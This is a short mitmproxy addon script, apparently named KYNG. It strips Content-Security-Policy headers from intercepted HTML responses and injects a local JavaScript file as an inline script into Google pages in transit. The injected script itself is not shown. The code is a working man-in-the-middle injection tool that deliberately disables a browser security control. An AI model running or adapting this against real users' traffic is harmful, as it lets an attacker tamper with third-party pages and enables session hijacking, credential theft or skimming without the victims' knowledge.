from mitmproxy import http
from pathlib import Path

JS_FILE = Path("/opt/kyng/kyng.js")

def response(flow: http.HTTPFlow):
    if not flow.response:
        return

    content_type = flow.response.headers.get("content-type", "").lower()
    if "text/html" not in content_type:
        return

    for header in (
        "content-security-policy",
        "content-security-policy-report-only",
    ):
        if header in flow.response.headers:
            del flow.response.headers[header]

    # Allow the KYNG inline script to execute on the intercepted Google page.
    for header in (
        "content-security-policy",
        "content-security-policy-report-only",
    ):
        if header in flow.response.headers:
            del flow.response.headers[header]

    host = flow.request.pretty_host.lower()

    # Hanya halaman Google, jangan inject ke semua website
    if host != "google.com" and not host.endswith(".google.com"):
        return

    try:
        html = flow.response.get_text(strict=False)
        js = JS_FILE.read_text(encoding="utf-8")
    except Exception:
        return

    payload = "<script>\n" + js + "\n</script>"

    lower = html.lower()
    head = lower.find("<head")

    if head >= 0:
        end = html.find(">", head)
        if end >= 0:
            html = html[:end + 1] + payload + html[end + 1:]
        else:
            return
    else:
        html = payload + html

    flow.response.set_text(html)
    print("[KYNG] Injected:", flow.request.pretty_url)
